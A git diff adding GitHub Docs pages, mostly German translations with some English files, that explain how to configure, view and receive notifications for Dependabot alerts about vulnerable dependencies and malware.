+{% data variables.product.product_name %} beginnt sofort damit, das Abhängigkeitsdiagramm zu generieren, und generiert Warnungen für alle Abhängigkeiten mit Sicherheitsrisiken, sobald sie identifiziert werden. Das Diagramm wird in der Regel innerhalb weniger Minuten aufgefüllt, dies kann bei Repositorys mit vielen Abhängigkeiten jedoch länger dauern. Weitere Informationen findest du unter [Verwalten von Datenverwendungseinstellungen für dein privates Repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository).
+{% endif %}
+
+Wenn {% data variables.product.product_name %} eine Abhängigkeit mit Sicherheitsrisiken{% ifversion GH-advisory-db-supports-malware %} oder Malware erkennt{% endif %}, wird eine {% data variables.product.prodname_dependabot %}-Warnung generiert und {% ifversion fpt or ghec or ghes %} auf der Registerkarte „Sicherheit“ für das Repository und{% endif %} im Abhängigkeitsdiagramm des Repositorys angezeigt. Die Warnung enthält {% ifversion fpt or ghec or ghes %} einen Link zur betroffenen Datei im Projekt sowie {% endif %}Informationen zu einer Version, bei der das Problem behoben wurde. {% data variables.product.product_name %} kann auch die Verwalter betroffener Repositorys über die neue Warnung gemäß ihren Benachrichtigungseinstellungen benachrichtigen. Weitere Informationen findest du unter [Konfigurieren von Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts).
+
+{% ifversion fpt or ghec or ghes %} Bei Repositorys, für die {% data variables.product.prodname_dependabot_security_updates %} aktiviert ist, kann die Warnung außerdem einen Link zu einem Pull Request enthalten, um die Manifest- oder Sperrdatei auf die Mindestversion zu aktualisieren, die die Sicherheitslücke behebt. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates).
+{% endif %}
+
+{% warning %}
+
+**Hinweis**: Die Sicherheitsfeatures von {% data variables.product.product_name %} können nicht garantieren, dass alle Sicherheitsrisiken{% ifversion GH-advisory-db-supports-malware %} und jede Art von Malware erkannt wird{% endif %}. Die {% data variables.product.prodname_advisory_database %} wird aktiv verwaltet, und Warnungen werden mithilfe der aktuellsten Informationen generiert. Allerdings kann nicht alles erkannt sowie kein Zeitrahmen zur Benachrichtigung über bekannte Sicherheitsrisiken garantiert werden. Diese Features können das Überprüfen der einzelnen Abhängigkeiten auf potenzielle Sicherheitsrisiken oder andere Probleme durch Menschen nicht ersetzen. Es wird empfohlen, sich bei Bedarf mit einem Sicherheitsdienst in Verbindung zu setzen oder eine gründliche Überprüfung der Abhängigkeiten durchzuführen.
+
+{% endwarning %}
+
+## Zugriff auf {% data variables.product.prodname_dependabot_alerts %}
+
+Du kannst alle Warnungen, die sich auf ein bestimmtes Projekt{% ifversion fpt or ghec %} auswirken, auf der Registerkarte „Sicherheit“ des Repositorys oder{% endif %} im Abhängigkeitsdiagramm des Repositorys sehen. Weitere Informationen findest du unter [Anzeigen und Aktualisieren von {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts).
+
+Personen mit Administratorberechtigungen in den betroffenen Repositorys werden standardmäßig über neue {% data variables.product.prodname_dependabot_alerts %} benachrichtigt. {% ifversion fpt or ghec %}{% data variables.product.product_name %} teilt ermittelte Abhängigkeiten mit Sicherheitsrisiken für Repositorys nie öffentlich mit. Du kannst {% data variables.product.prodname_dependabot_alerts %} auch für weitere Personen oder Teams sichtbar machen, die mit Repositorys in deinem Besitz arbeiten oder für die du Administratorberechtigungen hast. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts).
+{% endif %}
+
+{% data reusables.notifications.vulnerable-dependency-notification-enable %} {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} Weitere Informationen findest du unter [Konfigurieren von Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts).
+
+Du kannst auch alle {% data variables.product.prodname_dependabot_alerts %} anzeigen, die einer bestimmten Empfehlung in der {% data variables.product.prodname_advisory_database %} entsprechen. {% data reusables.security-advisory.link-browsing-advisory-db %}
+
+{% ifversion fpt or ghec or ghes %}
+## Weitere Informationsquellen
+
+- „[Informationen zu {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)“
+- [Anzeigen und Aktualisieren von {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts){% endif %} {% ifversion fpt or ghec %}- [Datenschutz auf {% data variables.product.prodname_dotcom %}](/get-started/privacy-on-github){% endif %}
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md
new file mode 100644
index 0000000000..1baa501278
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md
@@ -0,0 +1,95 @@
+---
+title: Konfigurieren von Dependabot-Warnungen
+intro: 'Aktiviere {% data variables.product.prodname_dependabot_alerts %}, die generiert werden sollen, wenn eine neue anfällige Abhängigkeit von {% ifversion GH-advisory-db-supports-malware %}oder Schadsoftware {% endif %}in einem deiner Repositorys gefunden wird.'
+shortTitle: Configure Dependabot alerts
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Security updates
+  - Alerts
+  - Dependencies
+  - Pull requests
+  - Repositories
+ms.openlocfilehash: 7844380c395b1ab0c43ba01fa151bf403c6a0349
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146455517'
+---
+## Informationen zu {% data variables.product.prodname_dependabot_alerts %} für anfällige Abhängigkeiten{% ifversion GH-advisory-db-supports-malware %} und Malware{% endif %}
+
+{% data reusables.repositories.a-vulnerability-is %} 
+
+{% data variables.product.prodname_dependabot %} überprüft Code, wenn dem {% data variables.product.prodname_advisory_database %} oder dem Abhängigkeitsdiagramm für eine Repositoryänderung eine neue Beratung hinzugefügt wird. Wenn anfällige Abhängigkeiten{% ifversion GH-advisory-db-supports-malware %} oder Malware{% endif %} erkannt werden, werden {% data variables.product.prodname_dependabot_alerts %} generiert. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts).
+
+Du kannst {% data variables.product.prodname_dependabot_alerts %} für Folgendes aktivieren oder deaktivieren:
+* Dein persönliches Konto
+* Dein Repository
+* Ihrer Organisation
+
+## Verwalten von {% data variables.product.prodname_dependabot_alerts %} für dein persönliches Konto
+
+{% ifversion fpt or ghec %}
+
+Du kannst {% data variables.product.prodname_dependabot_alerts %} für alle Repositorys im Besitz deines persönlichen Kontos aktivieren oder deaktivieren.
+
+### Aktivieren oder Deaktivieren von {% data variables.product.prodname_dependabot_alerts %} für vorhandene Repositorys
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security-analysis %}
+3. Klicke unter „Codesicherheit und -analyse“ rechts von den {% data variables.product.prodname_dependabot_alerts %} auf **Alle deaktivieren** oder **Alle aktivieren**.
+ ![Screenshot der Features „Konfigurieren von Sicherheit und Analyse“ mit hervorgehobenen Schaltflächen „Alle aktivieren“ oder „Alle deaktivieren“](/assets/images/help/dependabot/dependabot-alerts-disable-or-enable-all.png)
+4. Aktiviere optional standardmäßig {% data variables.product.prodname_dependabot_alerts %} für neue Repositorys, die du erstellst.
+  ![Screenshot von „Dependabot-Warnungen aktivieren“ mit dem hervorgehobenen Kontrollkästchen „Standardmäßig für neue private Repositorys aktivieren“](/assets/images/help/dependabot/dependabot-alerts-enable-by-default.png)
+5. Klicke auf **{% data variables.product.prodname_dependabot_alerts %} deaktivieren** oder **{% data variables.product.prodname_dependabot_alerts %} aktivieren**, um {% data variables.product.prodname_dependabot_alerts %} für alle Repositorys in deinem Besitz zu deaktivieren oder zu aktivieren.
+  ![Screenshot von „Dependabot-Warnungen aktivieren“ mit der hervorgehobenen Schaltfläche „Dependabot-Warnungen aktivieren“](/assets/images/help/dependabot/dependabot-alerts-enable-dependabot-alerts.png)
+
+Wenn du {% data variables.product.prodname_dependabot_alerts %} für vorhandene Repositorys aktivierst, werden innerhalb von Minuten Ergebnisse auf GitHub angezeigt.
+
+### Aktivieren oder Deaktivieren von {% data variables.product.prodname_dependabot_alerts %} für neue Repositorys
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security-analysis %}
+3. Aktiviere oder deaktiviere unter „Codesicherheit und -analyse“ rechts neben {% data variables.product.prodname_dependabot_alerts %} standardmäßig {% data variables.product.prodname_dependabot_alerts %} für neue Repositorys, die du erstellst.
+  ![Screenshot von „Konfigurieren von Sicherheit und Analyse“ mit dem hervorgehobenen Kontrollkästchen „Für alle neuen privaten Repositorys aktivieren“](/assets/images/help/dependabot/dependabot-alerts-enable-for-all-new-repositories.png)
+
+{% else %} {% data variables.product.prodname_dependabot_alerts %} für deine Repositorys können von deinem oder deiner Unternehmensbesitzer*in aktiviert oder deaktiviert werden. Weitere Informationen findest du unter [Aktivieren von Dependabot für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
+
+{% endif %}
+
+## Verwalten von {% data variables.product.prodname_dependabot_alerts %} für dein Repository
+
+{% ifversion fpt or ghec %}Du kannst {% data variables.product.prodname_dependabot_alerts %} für dein öffentliches, privates oder internes Repository verwalten.
+
+Personen mit Administratorberechtigungen in den betroffenen Repositorys werden standardmäßig über neue {% data variables.product.prodname_dependabot_alerts %} benachrichtigt. {% data variables.product.product_name %} teilt ermittelte Abhängigkeiten mit Sicherheitsrisiken für Repositorys nie öffentlich mit. Du kannst {% data variables.product.prodname_dependabot_alerts %} auch für weitere Personen oder Teams sichtbar machen, die mit Repositorys in deinem Besitz arbeiten oder für die du Administratorberechtigungen hast.
+
+{% data reusables.security.security-and-analysis-features-enable-read-only %}
+
+### Aktivieren oder Deaktivieren von {% data variables.product.prodname_dependabot_alerts %} für ein Repository
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-code-security-and-analysis %}
+1. Klicke unter „Codesicherheit und -analyse“ rechts neben „{% data variables.product.prodname_dependabot_alerts %} “ auf **Aktivieren**, um das Feature zu aktivieren, oder auf **Deaktivieren**, um es zu deaktivieren. 
+  ![Screenshot des Abschnitts „Codesicherheit und Analyse“ mit Schaltfläche zum Aktivieren von {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png) {% endif %}{% ifversion ghes or ghae %}
+
+{% data variables.product.prodname_dependabot_alerts %} für dein Repository können von deinem oder deiner Unternehmensbesitzer*in aktiviert oder deaktiviert werden. Weitere Informationen findest du unter [Aktivieren von Dependabot für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
+{% endif %}
+
+## Verwalten von {% data variables.product.prodname_dependabot_alerts %} für deine Organisation
+{% ifversion fpt or ghec %}Du kannst {% data variables.product.prodname_dependabot_alerts %} für alle Repositorys im Besitz deiner Organisation aktivieren oder deaktivieren. Deine Änderungen wirken sich auf alle Repositorys aus.
+
+### Aktivieren oder Deaktivieren von {% data variables.product.prodname_dependabot_alerts %} für alle vorhandenen Repositorys
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security-and-analysis %}
+2. Klicke unter „Codesicherheit und -analyse“ rechts von den {% data variables.product.prodname_dependabot_alerts %} auf **Alle deaktivieren** oder **Alle aktivieren**. 
+   {% ifversion fpt or ghec %} ![Screenshot der Features „Konfigurieren von Sicherheit und Analyse“ mit der hervorgehobenen Schaltflächen „Alle aktivieren“ oder „Alle deaktivieren“ für Dependabot-Warnungen](/assets/images/help/dependabot/dependabot-alerts-disable-or-enable-fpt.png) {% endif %} {% ifversion ghae %} ![Schaltflächen „Alle aktivieren“ oder „Alle deaktivieren“ für Features „Konfigurieren von Sicherheit und Analyse“](/assets/images/enterprise/github-ae/organizations/security-and-analysis-disable-or-enable-all-ghae.png) {% endif %} {% ifversion fpt or ghec %}
+3. Aktiviere optional standardmäßig {% data variables.product.prodname_dependabot_alerts %} für neue Repositorys in deiner Organisation.
+   {% ifversion fpt or ghec %} ![Screenshot von „Standardmäßig aktivieren“ für neue Repositorys](/assets/images/help/dependabot/dependabot-alerts-enable-by-default-organizations.png) {% endif %}
+   
+   {% endif %} {% ifversion fpt or ghec %}
+4. Klicke auf **{% data variables.product.prodname_dependabot_alerts %} deaktivieren** oder **{% data variables.product.prodname_dependabot_alerts %} aktivieren**, um {% data variables.product.prodname_dependabot_alerts %} für alle Repositorys in deiner Organisation zu deaktivieren oder zu aktivieren.
+   {% ifversion fpt or ghec %} ![Screenshot des modalen Dialogfelds „Dependabot-Warnungen aktivieren“ mit der hervorgehobenen Schaltfläche zum Deaktivieren oder Aktivieren des Features](/assets/images/help/dependabot/dependabot-alerts-enable-dependabot-alerts-organizations.png) {% endif %}{% endif %}{% endif %}{% ifversion ghes or ghae %} {% data variables.product.prodname_dependabot_alerts %} für deine Organisation können von deinem oder deiner Unternehmensbesitzer*in aktiviert oder deaktiviert werden. Weitere Informationen findest du unter [Informationen zu Dependabot für GitHub Enterprise Server](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
+   {% endif %}
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md
new file mode 100644
index 0000000000..fe75305ec3
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md
@@ -0,0 +1,70 @@
+---
+title: Configuring notifications for Dependabot alerts
+shortTitle: Configure notifications
+intro: 'Optimize how you receive notifications about  {% data variables.product.prodname_dependabot_alerts %}.'
+redirect_from:
+  - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies
+  - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Alerts
+  - Notifications
+  - Vulnerabilities
+  - Dependencies
+  - Repositories
+---
+
+## About notifications for {% data variables.product.prodname_dependabot_alerts %}
+
+When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %} in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability.
+{% endif %} 
+
+{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether {% data variables.product.prodname_dependabot_alerts %} will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)."
+{% endif %}
+
+{% ifversion ghes or ghae %}
+By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email.
+
+Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
+{% endif %}
+
+## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}
+
+{% ifversion fpt or ghes or ghec %}
+When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+{% endif %}
+
+You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+
+{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %}
+{% data reusables.notifications.vulnerable-dependency-notification-options %}
+
+{% ifversion update-notification-settings-22 %}
+![Screenshot of {% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/dependabot/dependabot-notification-frequency.png){% endif %}{% ifversion ghes > 3.7 or ghae > 3.7 %}
+![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/enterprises/dependabot-alerts-options-no-UI.png){% endif %}{% ifversion ghes < 3.8 or ghae < 3.8 %}
+![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png){% endif %}
+
+
+{% note %}
+
+**Note:** You can filter your notifications on {% data variables.product.company_short %} to show  {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
+
+{% endnote %}
+
+{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+
+## How to reduce the noise from notifications for {% data variables.product.prodname_dependabot_alerts %}
+
+If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)."
+
+## Further reading
+
+- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
+- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)"
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-alerts/index.md b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/index.md
new file mode 100644
index 0000000000..84e3f88e63
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/index.md
@@ -0,0 +1,29 @@
+---
+title: Identifizieren von Sicherheitsrisiken in den Abhängigkeiten deines Projekts mit Abhängigkeiten von Dependabot-Warnungen
+shortTitle: Dependabot alerts
+intro: '{% data variables.product.prodname_dependabot %} generiert {% data variables.product.prodname_dependabot_alerts %}, wenn bekannte Sicherheitsrisiken in Abhängigkeiten erkannt werden, die dein Projekt verwendet.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Dependabot
+  - Alerts
+  - Vulnerabilities
+  - Repositories
+  - Dependencies
+children:
+  - /about-dependabot-alerts
+  - /configuring-dependabot-alerts
+  - /viewing-and-updating-dependabot-alerts
+  - /configuring-notifications-for-dependabot-alerts
+ms.openlocfilehash: b9abda5288d4f0dfed2175b0e944c0d1bc48f3f7
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114030'
+---
+
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md
new file mode 100644
index 0000000000..94166566bd
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md
@@ -0,0 +1,232 @@
+---
+title: Viewing and updating Dependabot alerts
+intro: 'If {% data variables.product.product_name %} discovers insecure dependencies in your project, you can view details on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the alert.'
+redirect_from:
+  - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository
+  - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository
+  - /code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository
+permissions: 'Repository administrators and organization owners can view and update dependencies, as well as users and teams with explicit access.'
+shortTitle: View Dependabot alerts
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Security updates
+  - Alerts
+  - Dependencies
+  - Pull requests
+  - Repositories
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+Your repository's {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} filter alerts by package, ecosystem, or manifest. You can {% endif %} sort the list of alerts, and you can click into specific alerts for more details. {% ifversion dependabot-bulk-alerts %}You can also dismiss or reopen alerts, either one by one or by selecting multiple alerts at once.{% else %}You can also dismiss or reopen alerts. {% endif %} For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." 
+
+{% ifversion fpt or ghec or ghes %}
+You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
+{% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+## About updates for vulnerable dependencies in your repository
+
+{% data variables.product.product_name %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that your codebase is using dependencies with known security risks. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.product_name %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability.
+
+Each {% data variables.product.prodname_dependabot %} alert has a unique numeric identifier and the {% data variables.product.prodname_dependabot_alerts %} tab lists an alert for every detected vulnerability. Legacy {% data variables.product.prodname_dependabot_alerts %} grouped vulnerabilities by dependency and generated a single alert per dependency. If you navigate to a legacy {% data variables.product.prodname_dependabot %} alert, you will be redirected to a {% data variables.product.prodname_dependabot_alerts %} tab filtered for that package. {% endif %}
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+You can filter and sort {% data variables.product.prodname_dependabot_alerts %} using a variety of filters and sort options available on the user interface. For more information, see "[Prioritizing {% data variables.product.prodname_dependabot_alerts %}](#prioritizing-across--data-variablesproductprodname_dependabot_alerts-)" below.
+
+## Prioritizing {% data variables.product.prodname_dependabot_alerts %}
+
+{% data variables.product.company_short %} helps you prioritize fixing {% data variables.product.prodname_dependabot_alerts %}. {% ifversion dependabot-most-important-sort-option %} By default, {% data variables.product.prodname_dependabot_alerts %} are sorted by importance. The "Most important" sort order helps you prioritize which {% data variables.product.prodname_dependabot_alerts %} to focus on first. Alerts are ranked based on their potential impact, actionability, and relevance. Our prioritization calculation is constantly being improved and includes factors like CVSS score, dependency scope, and whether vulnerable function calls are found for the alert.
+
+![Screenshot of Sort dropdown with "Most important" sort](/assets/images/help/dependabot/dependabot-alerts-sort-dropdown.png)
+{% endif %}
+
+{% data reusables.dependabot.dependabot-alerts-filters %}
+
+In addition to the filters available via the search bar, you can sort and filter {% data variables.product.prodname_dependabot_alerts %} using the dropdown menus at the top of the alert list. The search bar also allows for full text searching of alerts and related security advisories. You can search for part of a security advisory name or description to return the alerts in your repository that relate to that security advisory. For example, searching for `yaml.load() API could execute arbitrary code` will return {% data variables.product.prodname_dependabot_alerts %} linked to "[PyYAML insecurely deserializes YAML strings leading to arbitrary code execution](https://github.com/advisories/GHSA-rprw-h62v-c2w7)" as the search string appears in the advisory description.
+
+{% endif %}
+
+{% ifversion dependabot-bulk-alerts %}
+  ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/help/graphs/dependabot-alerts-filters-checkbox.png){% elsif ghes = 3.5 %}
+You can select a filter in a dropdown menu at the top of the list, then click the filter that you would like to apply.
+   ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/enterprise/3.5/dependabot/dependabot-alerts-filters.png){% endif %}
+
+{% ifversion dependabot-alerts-development-label %}
+## Supported ecosystems and manifests for dependency scope
+
+{% data reusables.dependabot.dependabot-alerts-dependency-scope %}
+
+Alerts for packages listed as development dependencies are marked with the `Development` label on the {% data variables.product.prodname_dependabot_alerts %} page and are also available for filtering via the `scope` filter.
+
+![Screenshot showing the "Development" label in the list of alerts](/assets/images/help/repository/dependabot-alerts-development-label.png)
+
+The alert details page of alerts on development-scoped packages shows a "Tags" section containing a `Development` label.
+
+![Screenshot showing the "Tags" section in the alert details page](/assets/images/help/repository/dependabot-alerts-tags-section.png)
+
+{% endif %}
+
+{% ifversion dependabot-alerts-vulnerable-calls %}
+## About the detection of calls to vulnerable functions
+
+{% data reusables.dependabot.vulnerable-calls-beta %}
+
+When {% data variables.product.prodname_dependabot %} tells you that your repository uses a vulnerable dependency, you need to determine what the vulnerable functions are and check whether you are using them. Once you have this information, then you can determine how urgently you need to upgrade to a secure version of the dependency. 
+
+For supported languages, {% data variables.product.prodname_dependabot %} automatically detects whether you use a vulnerable function and adds the label "Vulnerable call" to affected alerts. You can use this information in the {% data variables.product.prodname_dependabot_alerts %} view to triage and prioritize remediation work more effectively.
+
+{% note %}
+
+**Note:** During the beta release, this feature is available only for new Python advisories created *after* April 14, 2022, and for a subset of historical Python advisories. {% data variables.product.prodname_dotcom %} is working to backfill data across additional historical Python advisories, which are added on a rolling basis. Vulnerable calls are highlighted only on the {% data variables.product.prodname_dependabot_alerts %} pages.
+
+{% endnote %}
+
+![Screenshot showing an alert with the "Vulnerable call" label](/assets/images/help/repository/dependabot-alerts-vulnerable-call-label.png)
+
+You can filter the view to show only alerts where {% data variables.product.prodname_dependabot %} detected at least one call to a vulnerable function using the `has:vulnerable-calls` filter in the search field.
+
+For alerts where vulnerable calls are detected, the alert details page shows additional information:
+
+- One or more code blocks showing where the function is used.
+- An annotation listing the function itself, with a link to the line where the function is called.
+
+![Screenshot showing the alert details page for an alert with a "Vulnerable call" label](/assets/images/help/repository/review-calls-to-vulnerable-functions.png)
+
+For more information, see "[Reviewing and fixing alerts](#reviewing-and-fixing-alerts)" below.
+
+{% endif %}
+
+## Viewing {% data variables.product.prodname_dependabot_alerts %}
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+{% data reusables.repositories.sidebar-dependabot-alerts %}
+1. Optionally, to filter alerts, select a filter in a dropdown menu then click the filter that you would like to apply. You can also type filters into the search bar. For more information about filtering and sorting alerts, see "[Prioritizing {% data variables.product.prodname_dependabot_alerts %}](#prioritizing-across--data-variablesproductprodname_dependabot_alerts-)."
+{%- ifversion dependabot-bulk-alerts %}
+  ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/help/graphs/dependabot-alerts-filters-checkbox.png){% else %}
+   ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/enterprise/3.5/dependabot/dependabot-alerts-filters.png){% endif %}
+1. Click the alert that you would like to view.{% ifversion dependabot-bulk-alerts %}
+   ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list-checkbox.png){% else %}
+   ![Alert selected in list of alerts](/assets/images/enterprise/3.5/dependabot/click-alert-in-alerts-list-ungrouped.png){% endif %}
+
+{% else %}
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+{% data reusables.repositories.sidebar-dependabot-alerts %}
+1. Click the alert you'd like to view.
+  ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list.png)
+{% endif %}
+
+## Reviewing and fixing alerts
+
+It’s important to ensure that all of your dependencies are clean of any security weaknesses. When {% data variables.product.prodname_dependabot %} discovers vulnerabilities {% ifversion GH-advisory-db-supports-malware %}or malware{% endif %} in your dependencies, you should assess your project’s level of exposure and determine what remediation steps to take to secure your application.
+
+If a patched version of the dependency is available, you can generate a {% data variables.product.prodname_dependabot %} pull request to update this dependency directly from a {% data variables.product.prodname_dependabot %} alert. If you have {% data variables.product.prodname_dependabot_security_updates %} enabled, the pull request may be linked will in the Dependabot alert. 
+
